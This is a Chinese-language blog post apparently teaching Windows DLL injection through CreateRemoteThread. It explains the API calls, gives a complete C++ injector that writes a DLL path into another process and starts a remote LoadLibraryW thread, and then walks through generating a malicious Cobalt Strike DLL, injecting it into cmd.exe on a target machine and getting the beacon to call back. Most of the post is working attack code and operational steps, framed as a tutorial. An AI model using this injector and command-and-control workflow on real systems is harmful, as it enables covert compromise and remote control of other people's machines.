进程注入之CreateRemoteThread()

注入原理

原理是将恶意的动态链接库路径写入到另一个进程的虚拟空间内,通过在目标进程中创建远程线程进行加载。
t0117bd3187269363f4
但是程序不会无故加载我们恶意的dll,所以我们就要使用Windows API了,它提供了大量的函数来附加和操纵其他进程。
API中的所有函数都包含于DLL文件之中。其中,最重要的是Kernel32.dll(包含管理内存,进程和线程相关的函数),User32.dll(大部分是用户接口函数),和“GDI32.dll”(绘制图形和显示文本相关的函数)等。

注入代码的实现

由于基本上大多数进程都会使用Kernel32.dll,核心思想就是在目标进程中开启一个线程调用LoadLibrary函数来加载我们想要注入的dll
大致注入流程如下图
QQ截图20220223204205

使用到的一些函数

OpenProcess函数
OpenProcess函数用来打开一个已存在的进程对象,并返回进程的句柄。

 HANDLE OpenProcess(
  DWORD dwDesiredAccess, //想拥有的该进程访问权限
  BOOL bInheritHandle, // 是否继承句柄
  DWORD dwProcessId// 被打开进程的PID
        );

参数解释:
a.dwDesiredAccess:想拥有的该进程访问权限
PROCESS_ALL_ACCESS //所有能获得的权限
PROCESS_CREATE_PROCESS //需要创建一个进程
PROCESS_CREATE_THREAD //需要创建一个线程
PROCESS_DUP_HANDLE //重复使用DuplicateHandle句柄
PROCESS_QUERY_INFORMATION //获得进程信息的权限,如它的退出代码、优先级
PROCESS_QUERY_LIMITED_INFORMATION (获得某些信息的权限,如果获得了PROCESS_QUERY_INFORMATION,也拥有PROCESS_QUERY_LIMITED_INFORMATION权限)
PROCESS_SET_INFORMATION //设置某些信息的权限,如进程优先级
PROCESS_SET_QUOTA //设置内存限制的权限,使用SetProcessWorkingSetSize
PROCESS_SUSPEND_RESUME //暂停或恢复进程的权限
PROCESS_TERMINATE //终止一个进程的权限,使用TerminateProcess
PROCESS_VM_OPERATION //操作进程内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
PROCESS_VM_READ //读取进程内存空间的权限,可使用ReadProcessMemory
PROCESS_VM_WRITE //读取进程内存空间的权限,可使用WriteProcessMemory
SYNCHRONIZE //等待进程终止
b.bInheritHandle:表示所得到的进程句柄是否可以被继承
c.dwProcessId:被打开进程的PID

返回值:
如成功,返回值为指定进程的句柄。
如失败,返回值为NULL,可调用GetLastError()获得错误代码。

VirtualAllocEx函数
获得返回句柄之后再用VirtualAllocEx函数,在目标进程中开辟一块内存存放我们的dll的路径。

LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址;一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍
DWORD flAllocationType, //为特定的页面区域分配内存中或磁盘
DWORD flProtect //受保护状态
); 

WriteProcessMemory函数
之后使用WriteProcessMemory函数向目标内存写入dll地址

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess, //由OpenProcess返回的进程句柄。
  _In_  LPVOID  lpBaseAddress, //要写的内存首地址
  _In_  LPCVOID lpBuffer, //指向要写的数据的指针。
  _In_  SIZE_T  nSize, //要写入的字节数。
  _Out_ SIZE_T  *lpNumberOfBytesWritten //返回值。返回实际写入的字节
);

GetProcAddress函数获得LoadLibraryW函数的起始地址。LoadLibraryW函数位于Kernel32.dll中,再用CreateRemoteThread函数让目标进程执行LoadLibraryW来加载被注入的dll。函数结束将返回载入dll后的模块句柄。
注意:这里的LoadLibrary函数在底层实际调用有两种可能,如果目标程序使用的是ANSI编码方式,LoadLibrary实际调用的是LoadLibraryA,其参数字符串应当是ANSI编码;
如果目标程序使用的是Unicode编码方式,LoadLibrary实际调用的是LoadLibraryW,其参数字符串应当是Unicode编码。

完整代码

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tlhelp32.h>

BOOL Inject(DWORD dwId, WCHAR* szPath)
//参数1:目标进程id; 参数2:DLL路径
{
	//1.在目标进程中申请一个空间
	/*
	1.1获取目标进程句柄
	参数1:想要拥有的进程权限
	参数2:表示所得到的进程句柄是否可以被继承
	参数3:被打开进进程的pid
	返回值:指定进程的句柄
	*/
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
	/*
	1.2在目标进程中开辟空间
	参数1:目标进程句柄
	参数2:保留页面的内存地址,一般用NULL自动分配
	参数3:想要分配的内存大小,字节为单位
	参数4:ME_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
	参数5:PAGE_READWRITE:区域可被应用程序读写
	返回值:执行成功就返回分配内存的首地址,不成功就是NULL
	*/
	LPVOID pRemoteAdress = VirtualAllocEx(
		hProcess,
		NULL,
		wcslen(szPath) * 2,
		MEM_COMMIT,
		PAGE_READWRITE
	);
	//2.把dll的路径写入到目标进程的内存空间中
	DWORD dwWriteSize = 0;
	/*
	写一段数据到刚才给指定进程所开辟的内存空间里
	参数1:OpenProcess返回的进程句柄
	参数2:准备写入的内存地址
	参数3:指向要写入的数据指针(准备写入的东西)
	参数4:要写的字节数(东西的长度+0/)
	参数5:返回值,返回实际写入的字节
	*/
	BOOL bRet = WriteProcessMemory(hProcess, pRemoteAdress, szPath, wcslen(szPath) * 2, NULL);
	//3.创建一个远程线程,让目标进程调用LoadLibrary
	/*
	参数1:该远程线程所属进程的进程句柄
	参数2:一个指向SECURITY_ATTRIBUTES结构的指针,该结构指定了线程的安全属性
	参数3:线程栈初始大小,以字节为单位,若该值设为0,那么使用系统默认大小
	参数4:在远程进程的地址空间中,该线程的线程函数的起始地址(也就是这个线程具体干的活)
	参数5:传给线程函数的参数(刚才在内存里开辟的空间里写入的东西)
	参数6:控制线程创建的标志。0(NULL)表示该线程在创建后立即运行
	参数7:指向接收线程标识符的变量的指针。如果为NULL,则不返回线程标识符
	返回值;如果函数成功,则返回值是新线程的句柄。如果函数失败,则返回值为NULL
	*/

	//获取模块地址
	HMODULE hModule = GetModuleHandle(L"kernel32.dll");
	if (!hModule)
	{
		printf("GetModuleHandle Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		return FALSE;
	}
	//获取LoadLibraryA函数地址
	LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");
	if (!dwLoadAddr)
	{
		printf("GetProcAddress Error !\n");
		GetLastError();
		CloseHandle(hProcess);
		CloseHandle(hModule);
		return FALSE;
	}
	//创建远程线程,加载dll
	HANDLE hThread = CreateRemoteThread(
		hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)dwLoadAddr,
		pRemoteAdress,
		NULL,
		NULL
	);
	//WaitForSingleObject(hThread, -1);当句柄所指的线程右信号的时候才会返回
	/*
	4.释放申请的虚拟内存空间
	参数1:目标进程的句柄。该句柄必须拥有PROCESS_VM-OPERATION权限
	参数2:指向要释放的虚拟内存空间首地址的指针
	参数3:虚拟内存空间的字节数
	参数4:MEM_DECOMMIT仅表示内存空间不可用,内存页还将存在
	MEM_RELEASE这种方式很彻底,完全回收。
	VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT);
	*/
	return 0;
}
DWORD GetPid(WCHAR* szName)
{
	HANDLE hprocessSnap = NULL;
	PROCESSENTRY32 pe32 = { 0 };
	hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (Process32First(hprocessSnap, &pe32))
	{
		do {
			if (!wcscmp(szName, pe32.szExeFile))
				return (int)pe32.th32ProcessID;
		} while (Process32Next(hprocessSnap, &pe32));
	}
	else 
		CloseHandle(hprocessSnap);
	return 0;
}
int main()
{
	wchar_t wStr[] = L"·····";//要注入的dll文件地址
	DWORD dwId = 0;
	DWORD dwPid = 0;
	WCHAR S[] = L"···";//注入的目标exe文件
	DWORD  SS = GetPid(S);
	printf("目标窗口的进程PID为:%d\n", SS);
	//参数1:目标进程的PID
	//参数2:想要注入dll的路径
	Inject(SS, wStr);
	system("pause");
	return 0;
}

利用此方法上线CS

1.打开Visual Studio新建一个项目
QQ截图20220223211219

2.将上述完整代码添加进去

3.我们利用cs创建一个监听
QQ截图20220223211825

4.生成恶意dll文件
image-20220223212127573

这里根据需求选择32位或者64位,我这里演示的是32位的,选择刚才创建的监听
image-20220223212338591

生成dll文件
image-20220223212455718

5.将dll文件放置在目标机的D盘下,我这里注入的进程是cmd.exe,并将main函数补全。
image-20220223212727327

6.编译生成exe文件,在将该exe文件在目标及运行即可
image-20220223212947795

7.检查发现cmd.exe中成功加载了恶意dll,且CS也成功上线
image-20220223213247397

image-20220223213351526

posted @   朝朝_暮暮  阅读(2551)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示

目录导航